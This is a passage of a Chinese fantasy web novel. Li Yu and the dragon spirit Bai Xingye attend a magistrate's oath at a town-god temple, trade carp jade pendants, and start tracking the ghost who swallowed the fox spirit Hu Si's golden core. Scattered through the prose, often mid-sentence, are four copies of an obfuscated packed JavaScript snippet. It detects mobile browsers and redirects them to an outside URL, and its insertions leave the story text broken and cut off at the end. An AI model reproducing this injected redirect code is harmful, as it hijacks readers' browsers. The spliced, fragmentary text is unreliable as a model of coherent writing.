早在之前,李钰就觉得这小龙看起来高冷,实则有时候就跟小孩子一样,今日这么一看,怎么感觉比詹贵儿还难教。李钰不放心地耳提面命了一番,白行野才应付地答应下来,再三承诺自己绝对不会去偷南极仙翁的长生药,李钰这才作罢。 一番长谈后,两人各怀心事。一家人用晚饭的时候,李钰便显得格外话少,李化和木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195544|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若菱对视一眼,还以为两个孩子闹矛盾了。 “咳咳,”李化清了清嗓子了,“明天早点起床,我们一家一起去城隍庙拜一下。” “爹、娘,你们要去城隍爷那儿求什么?”李钰问道。 木若菱接过话,嗔怪道:“还能是什么?你说你一天天的怎么遇到那么多怪事?虽然次次都侥幸度过,还有行野相救,可总是让我们两个老人提心吊胆的,还是去求求咱们这里的城隍爷多照看照看你才好。” 说到这,李化脸上露出些不满,也道:“是啊,十几年前建这城隍庙的时候,还是我们家出的大头,这些年更是没少捐香火,怎么就我们家孩子……” 木若菱用手肘顶了下李化,“你少说几句,神明也敢议论?” 李化干笑着止住了话头,“哈哈,吃饭吃饭,行野明天也一起去吧。” “好的,伯父。” 可到了第二天,他们老两口又不去了。一问才知,今日新知县上任要去拜城隍,李化跟丁知县有交情,听到这事就膈应,干脆不去了。但他心里又好奇,倒是让李钰和白行野去看看热闹,回来跟他讲讲那新知县看起来怎样。 李钰腹诽,我又不是相面的。不过他还是乖乖应下,和白行野往城隍庙去了。 武进县的城隍庙同时也是常州府的府城隍,位于城中最西北,城隍庙依山而建,山梯与大路相连,城隍大殿则在半山腰上俯瞰整个常州府。 李钰和白行野到山下的时候,已经有很多人来此了,山梯上人挤人都走不动道了,都是来看新知县上任的。 在来的路上,李钰眼观六路耳听八方,才知道原来地方官上任都要拜谒当地城隍爷,要在城隍面前表明身份官职,并且立誓,表示接受城隍监督。李钰听着新鲜,但这在历史上利用神道设教,巩固皇权的手段却十分常见。不过这样的就职仪式他还从没见过,本是被李化叫来的,这下不止李钰,连白行野听了都来了几分兴趣。 但很明显,他们来得太迟了,新知县一行人早就进去了。李钰扯了扯白行野的衣袖,又冲半山腰上的城隍庙努努嘴。白行野立即会意,两人在一旁寻了处无人的小巷走进去,等再有人从巷口经过时,巷中早已无人。 而李钰已被白行野用隐匿和速行之法带上了山,进了城隍大殿前的敬香广场。这里也已聚集了很多百姓,殿前更有一队官差列队,正在维持秩序,人群正前方还有衙役举着“肃静”和“回避”的牌子。 正因为人多,大伙儿又都伸着脖子看热闹,便也无人注意到他二人何时突兀地出现在人群后方。还好他俩都个高,即使站在最后一排,也能将前方的场景尽收眼底。 城隍庙中红墙黛瓦,黑色柱子挺立檐下,色泽沉稳大气,大殿正门挂着金漆写就的“城隍大殿”牌匾,在殿前香炉袅袅青烟长年累月熏烤下,显得有些陈旧,却又更显威严。 李钰往殿内望去,拜谒城隍的仪式已经在进行中了。殿门前站着数名城中耆老乡绅,以及县衙中的官吏们,其中还有吴老爷子这样的熟面孔。 而在殿内,一名身着青色官服,头戴乌纱帽的官员,正在城隍神像前恭敬地三拜九叩,随着他每一拜,一旁的道长便敲击一次玉磬,磬声悠扬,穿透力极强。本还在小声议论的民众也都安静了下来,收敛神色认真地观摩眼前的仪式。 49.城隍庙 新知县体态有些发福,三拜九叩以后,晃晃悠悠地站起身来,拱手对着城隍神像高声念出祭文—— “微臣胡端,今奉天子之命治理常州府武进县,今特来告知城隍爷。神明在上,明察秋毫,微臣必将恪尽职守,若臣有负皇恩、贪赃枉法、欺压百姓,甘受神谴天罚……” 这位胡知县诵读祭文的声音大到殿外百姓都能听到,李钰看着背对大门站着的胡知县脖子都胀红了,可见他喊的有多么卖力。也是,这场仪式不仅是官方流程,也是做给当地百姓看的,新官上任可不得卖力。 祭文还挺长,李钰听着听着又走神了,他看向胡知县头上,原来城隍大殿内还有块匾额,上面写着“善恶昭彰”四个大字。他的心里不免也生出些举头三尺有神明的敬畏感,但愿这胡知县是个好官吧。 做完一切仪式后,胡知县退出大殿,又与身边的各位耆老乡绅说了几句什么,就由官差们开路,百姓们让出路,知县大人就要大摇大摆地回县衙了。 民众们看完热闹,有的也顺便拜了拜城隍,不过大都是各自散去了。 李钰和白行野没有急着走,而是等人散去后才进入城隍大殿内逛了一圈。城隍爷的塑像是个极为和蔼的老人,看起来和六郎的土地爷泥像有些相似,不过人家城隍的雕像不但更高大还是镀了金身的。李钰心里暗自计较着,什么时候给六郎也弄个金灿灿的塑像才好。 不过更令李钰感到惊讶的是,殿内两侧还有众鬼差的塑像!他对照塑像下的牌位一一看过去,不仅有牛头马面、黑白无常,还有他听都没听说过的日游神、夜游神、鬼王,甚至有豹尾、鸟嘴,黄蜂、鱼鳃这种奇怪名字的小鬼像。李钰抬头端详塑像,完全就是千篇一律的夜叉鬼打扮,根本无法和这几个怪名字联系起来。 李钰问白行野:“这些豹尾、鸟嘴什么的,都是什么呀?” “这是跟黑白无常、牛头马面、日游神、夜游神,并称‘阴间十大名帅’的鬼将。只是他们管辖范围不同,豹尾是负责收兽类亡灵,鸟嘴则是收鸟类亡灵,另外两个也就顾名思义了。” “这么有意思!”李玉颇为感兴趣,“我以为城隍是保护一方城池的神灵,没想到他的座下还有这么多的阴间官差,跟阎王爷也差不多嘛。” “那是因为一方城隍不仅要管阳间的事,也要管阴间的事,只要是属于管辖区域的所有大事小情都归他管,因此才有这么多阴间鬼差要听候他的差遣。而且所有亡灵要先被这些阴差带至城隍处登记,然后再发往阴间。当然,你那次的情况是例外。”白行野解释道。 李钰啧啧称奇,“活人死人都管,我们这儿的还是府城隍,管理这一方之人,那不得忙死?” 白行野被他惊讶的语气逗笑,“府城隍下面还有县城隍和土地呢,在他们的辖区自然让他们自己去处理。” 李钰听明白了,“这跟阳间的官员制度也没什么区别嘛。” “可不就是如官场一般,府城隍之上也有都城隍,更有天庭和地府。”白行野又补充道,“还有就像人间有科举考试,城隍也有这样的考试流程。” “啊?”李钰听到这话想起来了,《聊斋志异》第一篇故事是不是就叫《考城隍》来着?只是时隔太久他已经记不得讲的什么了。 白行野看着他想入神了的呆相,忍俊不禁,“不过不像阳间隔一段时间就举行一次全国的科举考试。城隍的选拔大部分是一些生前为一方百姓做出过巨大贡献的人,后被天庭选中直接委任。但也不是每个都是要做出贡献,有部分人是像科举考试一样选拔上去的,要这人本身品行很好,又是读过书的,被上神看重选去考校一番,通过了就可以做城隍爷。” 李钰恍然大悟,那这样的考试感觉不像科举那么艰难,不过本身能被上界神明看中就不是一件容易事吧? “就像六郎一样,当日为救那名妇人放弃转世轮回的机会,便被天庭看中让他做了土地。”李钰了然道。 白行野点点头。 两人一番讨论下来,李钰眼珠一转,调笑白行野,“你今日倒是话挺多。” 白行野无奈道:“但凡你问,我哪次不是事无巨细?”语气中带着自己都未察觉的宠溺。 李钰摇着扇子“哼哼”两声,心说刚认识的时候你可不是这样。 两人边聊边逛,在殿内逗留许久,连道长都频频看向他俩。李钰有些不好意思,在殿前上了香,又往功德箱塞了点碎银,这才从城隍庙转了出来。 回家后李钰将今天看到的场景转述给李老爷子,李化听完也只是哼了一声,好像对新上任的胡知县有颇多不满。 李钰问他怎么回事,李化这才神神秘秘地说:“这事你可不能跟别人讲,我也是听我那几个老伙计说的。这个胡大人上面有人,就是看中江南鱼米之乡好出政绩才被安排过来的。” “竟然是这样!” “本来丁知县在我们这儿做得好好的,还出了抓住白莲教妖人这样的功绩,就算打通不了关系升迁,那留个连任也是可以的。可偏偏出了这么个人,也不知上面是怎么说的,把丁知县调到穷乡僻壤去任职,就是给这胡大人挪位置。”李化语气里颇为不平。 李钰一听,迟疑道:“这事我师弟不知道?” 李化忙道:“你可别去说,你那师弟不知道的。你最近也少去找他,他那边刚过了县试,后面还有府试呢,可别耽误他。” “这我当然知晓!”李钰立刻道,但不免为丁知县鸣不平。 “哎,官场之事跟我们这些老百姓有什么关系?只是苦了丁老弟。” 李钰也跟着叹气,白行野老说他好管闲事,可这样的事却是他管不了的,只万幸这节骨眼上,师弟并不知道个中缘由。 三月尽四月新,送走草长莺飞的春日,便迎来莲动蝉鸣的夏日。趁着大好时节,李钰和白行野顺着京杭大运河好一通游览,看遍江南春末夏初的美景。而且很幸运的是,这次没再遇到什么奇怪的事,李钰整个人都放松了许多。 不过白行野偶尔还是需要进山吸取天地山川的灵气的,总有不能陪着李钰的时候。李钰也曾跟着去过一次,白行野用乾坤袋带上了他的软榻、话本、各类瓜果点心。甚至怕他无聊,还教了李钰一些吐纳之法,让他在一旁跟着练。 可李钰总是被突如其来的虫鸣鸟叫打断,转而去琢磨地上未见过的小虫,或前夜雨后冒出来的野蘑菇,实在是静不下心来的一个人。还被山里不知名的小虫咬了好几个包,气得白行野差点屠虫窝泄愤,被好心又大度的李大少爷给拦了下来。 可如此一番,有他在,白行野也修炼不好,后面就不带他了。只是每次进山都尽力缩短时间,顶多两三天就又回来陪李钰了。 在这期间,李钰可算有时间好好设计白行野送给他的美玉了。他自己的已经想好了,就雕刻成鲤鱼,幸运锦鲤寓意多好!本想给白行野的那一块刻成龙纹,雕刻师傅却不敢接,说平民用龙纹是僭越了。于是,他干脆给白行野也选了鲤鱼图案。 白行野每次进山里修行的时候,李钰就去督促雕刻师傅尽心精心地雕琢,这么来了两次后,两块压衣的玉佩就雕好了。 两尾碧绿的小鱼首尾相对,像两弯月牙,合起来又能凑成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199840|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个圆形玉佩,李钰拿在手里把玩,爱不释手。 等白行野从山里回来,他还没来得及去沐浴更衣,就被李钰叫了过去。 “又准备干嘛?”白行野笑着问他。 李钰不答,只让白行野闭上眼睛,又在他腰间捣鼓了半天。白行野再睁眼,就看到自己腰间挂着一枚碧绿的鲤鱼玉佩。 白行野拿起玉佩在手里摩挲着,小鲤鱼精致灵动,活灵活现,鱼尾下刻着浪花荷叶,鱼身侧还有莲花点缀,雕工足见精细,白行野忍不住从腰间取下来细细观摩。 “诶,我刚给你戴上了,你取下来干嘛?”李钰嘟囔道。 白行野凤眸微眯,笑意直达眼底,“我就想仔细看看。真好看,我很喜欢。” “那是,我这可是找的城里手艺最好的老师傅。”李钰紧抿着嘴,生怕自己表现得太过欢喜,可他还是很快破功,拿出自己那块玉佩,兴致勃勃道,“你看,你的跟我这块是可以合起来的。” 白行野接过李钰的那一半,将两块玉拼在一起,和平常的双鱼玉佩作首尾相接的太极阴阳形状不一样,这两只小鱼是首尾相对应的。李钰见白行野骨节分明的修长手指摆弄着两尾小鱼,莫名想到亲嘴鱼,虽然亲嘴鱼嘴对嘴好像是在打架吧? 白行野盯着李钰,笑容带上一丝促狭,“小鲤鱼,你这是把你自己送给我了?” “你、你说什么呢?!”李钰选鱼形确实也有取自己名字谐音的意思,但没想到白行野这么直白地说出来了,在人间待了那么久还是学不会委婉! “不是这个意思吗?”白行野反问。 李钰可不好意思承认,恼羞成怒道:“就说你要不要吧?!” 白行野的手握住自己的那一块玉佩收进胸口衣襟里,又将李钰那块玉佩认认真真地给他系在腰间,这才开口道:“当然要,我会好好珍藏的。” “那你怎么不戴上?”李钰问。 “放在外面,我怕有磕碰。一会儿去找伯母要根红绳,我好挂在脖子上贴身带着。” 对方语气平常,李钰却面红耳赤,支支吾吾半晌才说:“随便你好了。” 白行野唇角扬起,温声道:“谢谢你阿钰,这条小鲤鱼我很喜欢。” 李钰强作淡定地“嗯”了一声,嘴角却压不住,心里更是欢欣雀跃。 那些关于人妖有别,寿数差异等种种问题,他先抛诸脑后,且珍惜当下和白行野在一起的每一天就好。 当初还答应詹贵儿的礼物,李钰也放在心上,做双鱼玉佩剩下的小料,他让师傅给雕了个小小的玉如意,穿了根红绳给小贵儿当挂坠。小贵儿如获至宝,时不时就取下来把玩,李钰怕他弄丢,说了他好几次,詹贵儿才听话,但总是习惯性地不时抬手摸摸他的小小玉如意。 日子就这么平淡又温馨地过着,李钰着实拥有了一段闲暇时光。此前连续经历了诸多事件,当时觉得或艰险、或有趣、或让人黯然伤神,却从未让他感觉到累。可直到近些日子的休养,反而有一种迟来的疲惫袭来,李钰便干脆也不出门了,心安理得地宅在家中,享受起这难得闲适与惬意了。 可这份安逸也并未持续多久。 这一日,小翠慌慌张张地找上门,詹贵儿领着小狐狸闯进李钰房间时,李钰和白行野正拿着围棋下五子棋。 小狐狸一进门就嗷嗷叫,李钰赶紧将门窗都关好,对小翠急切地问道:“发生什么事了?人话都不会说了?” 小狐狸摇身一变现出人形,神情焦急惶然,但这一次她却不是来找李钰的,而是对白行野求到:“白道长,求你救救我哥哥吧!” 50.胡四相公 白行野和李钰都颇为意外,这小狐狸向来和白行野不对付,这次居然拉下脸来求他,定是发生了什么大事。 而白行野自然不会在这种时候摆架子,只道:“你且说来,发生何事?” 小翠大概也是跑了一路口渴得不行,她自行提起桌上的茶壶狠灌了几口水,便立刻说道:“我们翠竹林的一个哥哥,被一个孤魂野鬼夺走了金丹!现下那鬼已经不知跑哪去了,我那哥哥修行了五百年,如今全部白费,连人形都维持不住了!” 李钰惊诧不已,急忙问:“什么孤魂野鬼这么厉害?竟能抢道行这么高的狐妖的金丹!” 小翠来不及解释这么多,只连声求道:“白道长你是大妖,又是修行的正统道法,我知道你厉害,还请你去看看我那哥哥还有没有救?我在路上再详细跟你们说来。” 说完,小翠便又变回小狐狸,这就要带两人去翠竹林。李钰二人也不再墨迹,交代了詹贵儿几句,便随小狐狸一起出门了。 在路上,小翠将来龙去脉细细讲述了一遍。小翠所说的这个狐狸哥哥,与她其实并没有血缘关系,而是这片地域的妖精中,尤其是狐妖中修炼颇有成就,法力高强的大狐妖,大家都称其为胡四相公。 胡四相公虽是狐狸却极为重情重义,妖精们抢地盘斗法,他总是挺身而出护卫这一片的狐狸们。因此众小狐妖都争先恐后地认他做哥哥,小翠也是其中之一,而且两狐兄妹感情颇为深厚。 翠竹林附近有一处荒废的宅子,就是胡四相公的地盘。前些日子的一天月圆之夜,胡四相公正在自家宅子的庭院内吸收月华修炼。正如白行野总是要回山中吸取天地灵气一样,这狐妖修行也是如此。只是他每每吸收月华时,会将金丹从口中吐出,让金丹直接吸取月灵精华,他认为这样的方式可以吸收到更加纯粹的灵气。 可就在前几日的一天晚上,他如往常一样沐浴着月光,吐出烛泪凝珠般红艳晶莹的金丹吸收月华。就在他专注于吐纳之时,忽地从旁的窜出一道黑影,眨眼间金丹便被那黑影抢走。胡四相公大惊失色,忙追了过去,那道黑影闪身至院墙上一名男鬼身边,大声催促了一句什么,他便眼睁睁地看着那男鬼将他的金丹吞食入腹! 胡四相公目眦欲裂,正欲上前抓人,可这仔细一看才发现,方才抢夺的金丹的黑影竟是一名鬼差!而他身旁的男鬼吞下他的金丹后须臾间便从鬼魂晋为鬼仙! 刚失了金丹的胡四相公维持人形都很勉强,若要与鬼差和鬼仙二人相斗,怕是赔了夫人又折兵,性命都难保。就在犹豫之间,那二鬼也不愿与他缠斗,竟径直扬长而去。 现在不仅是不知那二鬼去往何处,胡四相公如今更是人形不保,变回了普通的狐狸。 听完事情经过,李钰猛地想起詹贵儿之前跟自己说的,小翠曾跟他说过,有的妖精修炼走捷径,或用采补之法或夺人金丹。没想到这狐妖居然被鬼夺走金丹,甚至还有鬼差相助,难不成是有什么后台? 三人此时已来到翠竹林旁的那处荒宅,里面聚集了不少狐妖,见到白行野和李钰纷纷投来警惕的目光。 小翠忙对众狐道:“别怕,他们是我的朋友,是来帮四哥的。” 此前帮过李钰的那三名狐女也出来帮忙说话,众狐妖才放下警惕,让出一条道放二人进了正房。 小翠忙领着他俩进去,只见房中卧榻上趴着一只白毛大狐狸,毛发杂乱,看起来也有些虚弱。 白行野有些惊讶,“他失了金丹却并未受伤,为何是这般模样?” 小翠急得流泪,“修了五百年的金丹,失去它跟丢了命有什么区别?四哥是伤心过度才这样的。” 李钰心说,又是一个没了心气儿的。 小翠凑近颓然的白狐身旁,柔声道:“四哥,这是我的朋友白道长和李钰,白道长是大妖龙,又会道法,他定能帮到你的。你振作点,跟他们说说那男鬼和鬼差是何模样?让他们去帮忙找找,只要找到了人,白道长定能帮你抢回金丹的!” 白行野和李钰却是面面相觑,这个忙可不好帮啊……一是鬼差鬼卒众多,还分属十殿,找起来并不容易。另一个则是孤魂野鬼,更是如大海捞针,从何找起? 胡四相公睁开眼,圆滚滚的狐眼扫了二人一眼,眸光微闪,强打起精神坐了起来。白狐先向二人低头致谢,“多谢二位愿意相助,我亦深知想要找到那两人并不容易。二位若愿尽力一试,我这些年积累下的些许财宝皆可倾囊相赠。” 李钰忙摆手道:“不用不用,小翠也帮过我们不少忙,我们投桃报李自是乐意相助。只是这两只鬼恐怕不好找,不知胡四相公有何线索?可以供我们参考一二。” 胡四相公微眯起眼想了半晌,又摇头道:“当日我失了金丹,又是夜色茫茫中,那俩人来去极快,我其实并未看清他二人长相,只恍惚看到那男鬼当是个青壮年。” 李钰有些失望,那要怎么找? 又听胡四相公道:“只是那鬼差将我的金丹交给男鬼前,催了一句‘速速咽下去’,那男鬼立刻吞下金丹,那鬼差像是松了一口气,又说‘这下不欠你了’。” “为什么会说这种话?”李钰疑惑道。 胡四相公又摇了摇头,“我也不知,那男鬼吃了我的金丹立刻晋升为鬼仙,与那鬼差飞快逃走了。我追出去找了许久,那两人都不知所踪了。” 白行野沉吟片刻道:“鬼差完成了任务必定是要回地府报到的,可地府非是擅闯之地,更遑论鬼卒众多,从哪个殿查起,地府官吏会否协助我们调查也都是难题。” 听闻此话李钰想到自家姐姐,可不到万不得已,他是不想让李惠难办的。 “或许还是要从吃掉你金丹的那个鬼魂找起,毕竟人间虽大,但能修成鬼仙的并不算多。孤魂野鬼若非是修炼时获得其他助益,他们或有执念或有业债,是很难修成鬼仙的,他们没有归处大都会在一定时间内消散。那男鬼作为鬼仙,想来是比不计其数的地府鬼差好找一些。”白行野又道。 小翠急切地追问:“那要怎么找那男鬼呢?” “那就要看那鬼差为何要说不欠他的了?”白行野道。 一旁探头探脑的众狐妖闻言都陷入了思考,胡四相公也尽力回想着那一夜的场景,忽然他又想起了一点,忙道:“那名鬼差腰上挂着勾魂索,应当是个勾魂使者!” “勾魂……”李钰喃喃着,忽然心念电转,抬头看向白行野。 两人心有灵犀一般,异口同声道:“难道是勾错了魂?” 他们俩自然都想起之前去地府的事,卫东错告了王彦,王彦被勾去地府对质,才引出李钰去地府作证一事。难道那个男鬼也是因类似原因被勾魂?不,他更可能是因为鬼差个人的失误被勾错了魂,才会让鬼差在帮他抢来金丹后说出不欠他的话。他或许比王彦更倒霉,阳间的尸体或已腐烂,没办法还阳了,才会想到抢狐妖金丹成为鬼仙的办法。 两人越想越觉得这个可能性很高,胡四相公也不是蠢的,一点就通,白狐眼中锐光一闪,愤恨道:“就算是如此,他要补偿自己所犯之错就要抢别人的金丹吗?他怎么不把自己鬼差之位让给那人,自己去做孤魂野鬼!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208628|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李钰深觉胡四相公说的有理,可那鬼差显然不会愿意。若真是勾错魂导致那名男鬼无法还阳,那这男鬼也挺惨的,只是千不该万不该就去夺别人的金丹。 胡四相公越想越气,犬牙外露看起来有些狰狞,“这些鬼差欺人太甚!我刻苦修行五百年,不曾懈怠,不曾害人,走的都是正途修炼!抢我的金丹补偿别人,难道我们这些妖精就活该低人一等吗?” 李钰无言以对,他不是妖精,但也知道金丹对于妖精们的重要性,说是和性命相当也不为过。对于胡四相公的愤怒和伤心他无比理解,他看向眉头紧蹙的白行野,同为妖族的行野更能感同身受。 只听白行野沉声道:“我们会尽力帮你拿回金丹。” 胡四相公得到承诺怔了一下,站起身来俯下身体像人一样,向二人郑重地行了一礼。待他直起身来,又犹犹豫豫地说:“其实我还想求白道长和李公子帮个忙……” 白行野痛快道:“你直说便是。” 可胡四相公踟蹰半晌,最终摇了摇头道:“算了,都是缘分了。白道长,李公子,只要你们能帮我找回金丹,我便已感激不尽。” 两人告辞后,对胡四相公欲说还休的话都有些在意。 小翠送他们时才告知:“其实也没什么,只是四哥有个交好的朋友常来这边做客,那个朋友……是人。以前有法术支撑,这处荒宅在他朋友眼中看到的就是普通的宅院。若是这段时间,他朋友再来找他,恐怕会以为他搬家了还不告而别,因此四哥有些在意吧。” 李钰忙热心地问:“他那朋友是谁?要不要我们给他去带个信?” “无妨。”小翠摇了摇头,“四哥既然已经说了看缘分,那就不用理会,本来人与妖也是没法长久在一起的。” 此言一出,李钰心里咯噔一下,像是被戳中了一直以来藏在心底的不安。 忽然他的手被一只温暖的大手握住,是白行野。李钰只觉脸一热,但也任由他牵着,没躲。 小翠看着他俩这样,面露吃惊,转而又一副了然于心的样子,她莞尔一笑,“或许也有例外吧。” 李钰不好意思多言,牵着白行野匆匆告辞了。 现在算是有了线索,那勾魂使者会带那男鬼来到这个地方,想来那名男鬼应该就是府县或附近村庄的人,鬼差身上还有公务,不可能千里迢迢找上胡四相公,就近选择才符合常理。李钰分析到这里,便准备从最近因为意外或突发疾病突然去世的年轻男人开始调查。 要论各家各户的最新消息,自然得去找日日游荡在街头巷尾的乞丐们打听,李钰打赏了十数个小乞丐,让他们帮忙收集消息。又和白行野回翠竹林和小狐狸们商议一番,让他们分别去到附近的村庄查看。 探查结果意外比想象中拿到的快,近一个月意外落水、坠崖、摔倒、被猛兽袭击、突发疾病的壮年男子,城中加上附近村庄上竟有数十人!拿到这些人的资料,李钰和白行野就只能亲自挨家走访了,看能不能从中找出一些可疑之处。 如果说那人是被勾错了魂,骤然离世必不可能将阳间的亲属说放下就放下。既然能成为鬼仙,有机会在阳间长留,就算不常住家中,至少也会回家看看,甚至利用鬼仙能力给予曾经的家人一些好处也是有可能的。 因此,他俩的走访倒不至于挨家挨户上门去质问什么,不过白行野可以通过对鬼气的感知去确认,李钰则同时在各家街坊四邻口中探查一些具体消息。 如此好几天过去,这么一查下来,李钰和白行野果然发现住在城郊的一户王姓人家颇有些怪异之处。 51.王兰(一) 那一户人家的男主人名叫王兰,一个月前突然暴病而亡,留下孤儿寡母。王家家贫,还是在亲戚邻里的帮扶下才将他的尸身下葬,家里一下子变得比以前更加惨。刚开始那段日子,妻子王氏天天以泪洗面,闭门不出,却不知为何,王兰头七才过几日,王氏又跟没事人似的上街买东西,路上遇到熟人还能聊上几句。有人觉得王氏太无情,有人觉得她是受了太大刺激才这样。 家中突逢巨变,顶梁柱倒下,丈夫刚刚下葬不久,妻子这么快就走出悲伤,这无论是从情感角度上讲,还是从寡妇的生活处境上讲,都是一件奇怪的事,难道是王兰真的回来了? 目标既已锁定,两人直奔王家去,接近王家门口时,白行野却停下脚步。 李钰见状忙问:“怎么了?” “不对劲,虽有残留鬼气,可是那鬼已经不在这里。”白行野眉间蹙起,显然有些失望。 “已经跑了……”李钰探询道,“难道是我们打草惊蛇了?” 白行野摇头道:“从残留的鬼气判断,应该走了有几天了,我潜进去看看,出来再跟你说。” 李钰应下,走到僻静处等候。 “那王氏正在做饭,我便进他们里屋看了看,男主人的衣物鞋袜都在。如果不是他回来过,这些东西按习俗来说应该是要烧掉的,甚至连酒壶酒碗都放在外面的。”不过半盏茶时间,白行野便出来向李钰叙述了情况。 两人这下更是肯定王兰一定回来过,可是他为什么这么快又离开了?是觉得人鬼殊途,不宜长处一室?可看王氏生活正常,又不像是丈夫一走了之后,更像是丈夫离开办事,还要回来的样子。 想到这里,两人都陷入了思考,怎样从王氏口中问出她丈夫的去处?两个陌生男人上外人眼中的“寡妇”门实在不妥,就算白行野可以带李钰隐匿身形以避人耳目,可如何让王氏对他两个陌生人说出自己鬼丈夫的去处也是难事。 正想着,李钰的衣袖被人拽了拽,他低头一看是个小孩,看起来比詹贵儿还小一些的样子。 小男孩仰头看着李钰,奶声奶气地问道:“哥哥你们是谁呀?在我们家前面干嘛?” 李钰眼睛一亮,“这是你家?” “对呀,你不是来我家的吗?”小孩头一歪,狐疑地看着二人,“那你们干嘛在我家门口站着?” 李钰露出和善的笑容,蹲下身来极尽温和地说:“那个……小郎君,我们是你爹的朋友,本来想来找他,但没看到人,你知道他去哪儿了吗?” 小孩天真的面孔上露出一丝警惕,看来家里人是告诫过不许透露他爹的行踪的。只见小孩拉着他衣袖的手立刻松开了,眼看着就要张嘴开始喊娘。李钰看得着急却又拿小孩没办法,更不敢上前去捂他的嘴,被人误会是人贩子才糟了。这时,一串糖葫芦突兀地从李钰身后探了过来。 李钰扭头一看,糖葫芦就在白行野手上拿着。 只见白行野勉强地对小孩露出笑容,笑得非常僵硬,好在小孩根本没有看他,目光直直落在红彤彤的糖葫芦上。 “小郎君,我们真是你爹的朋友,只是你爹走得急,没跟我们说他去哪儿了,我们还急着去找他呢。你看,我们还特意给你带了糖葫芦。”白行野神色淡定地说瞎话,边说边将那串糖葫芦递到小孩面前。 小孩没回话,他咽了咽口水,伸手接过糖葫芦咬了一口,美滋滋地吐出一个山楂核,才说:“我爹出去挣钱去了,跟隔壁家张叔一起走的,前两天就走了,你们来迟了。” 李钰赶紧追问:“那他们去哪了?” 小孩边吃边摇头,“我也不知道,只知道走的北门。” 小孩有了糖就把自己所知的抖落得干干净净。 他们二人都感到颇为奇怪,那鬼仙怎么还要带个人走?还说是出去挣钱的。 李钰摸了摸孩子的头,说:“哥哥们知道啦,谢谢你啊,小郎君快回家吧,以后可别吃陌生人的糖。” 小孩一顿,“你们不是爹的朋友吗?” “呃……是是啊,只是别人的糖你就别拿了。”李钰干笑了一声,拉着白行野匆匆走了。 小孩疑惑地盯着二人的背影,又咬了一颗糖球下来,这才转身回家去了。 白行野被李钰拽着快步离开,“走这么快干嘛?” 李钰道:“不快点走就要听到那小孩儿挨打的惨叫了。” 白行野哈哈一笑。 “你还笑!糖葫芦哪来的?” 白行野伸手在李钰眼前晃了晃,“你忘了隔空取物之法?走吧,先去给前面集市上卖糖葫芦的老头付钱吧。” 李钰无言以对。 两人知道了大概方向,却没立刻动身去找。既然知道王兰他带着人外出挣钱,想必是打的附身此人再设法赚钱的目的。按那小孩所说,无论王兰还是张三,他们二人肯定是会回来的,哪怕短期内不会回来,到了盘桓之地至少也会有报平安的信件,到时候再确定他们的具体位置,找起来就方便多了。 确定了方案,两人便前往翠竹岭,将此守株待兔的计划告知胡四相公,于是从今日起,都不用李钰花钱找人盯着,小狐狸们就自发地就守在王家、张家附近盯梢。 花开两朵,各表一枝,要说这王兰,也是个倒霉之人。回望他的一生,虽没投生到富贵人家,年近三十也没什么大出息,但好歹也是有妻有子,有房有地,勉强算个安贫度日。 可谁料到他还正值壮年就突发疾病撒手人寰,踏上黄泉路那一刻想到自己的妻子和年幼的孩子,王兰不禁泪流满面,不知离了他,家里人该如何过活? 可等他在地府战战兢兢走了一圈,排队等候审判等了好几日,再送到阎王爷面前的时候,那判官一查生死簿,才知道自己根本就是被鬼差勾错了魂!犯了错的鬼差受命将王兰带回阳间,可如今天气已经炎热起来,尸体都腐烂了!王兰如何能还阳? 好在那鬼差不知是深感愧疚还是怕王兰悲愤之下再生事端,主动给他提出两个方案,要么开后门送他立刻去转世,不用排队等候早早入轮回;要么,助他去抢夺本地的一个狐妖的金丹,让他做鬼仙,就能长留于阳世了。他思来想去,因为实在放不下妻子孩子,便答应了第二个方案。 等夺了狐妖金丹助王兰成为鬼仙后,鬼差松了口气般匆匆别过,他也着急忙慌地回到家中。第一次在妻子和孩子面前显形时,妻子吓得当场就要往外跑,王兰将其拦下来,细细诉说了自己的遭遇。妻子听了又喜又愁,不过一家三口终是又同以前那样继续生活在一起。 可是村里众人都看到他下葬了,他可不敢在外露面,怕给妻儿引来灾祸。可是家里实在贫穷,他不出去做工就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 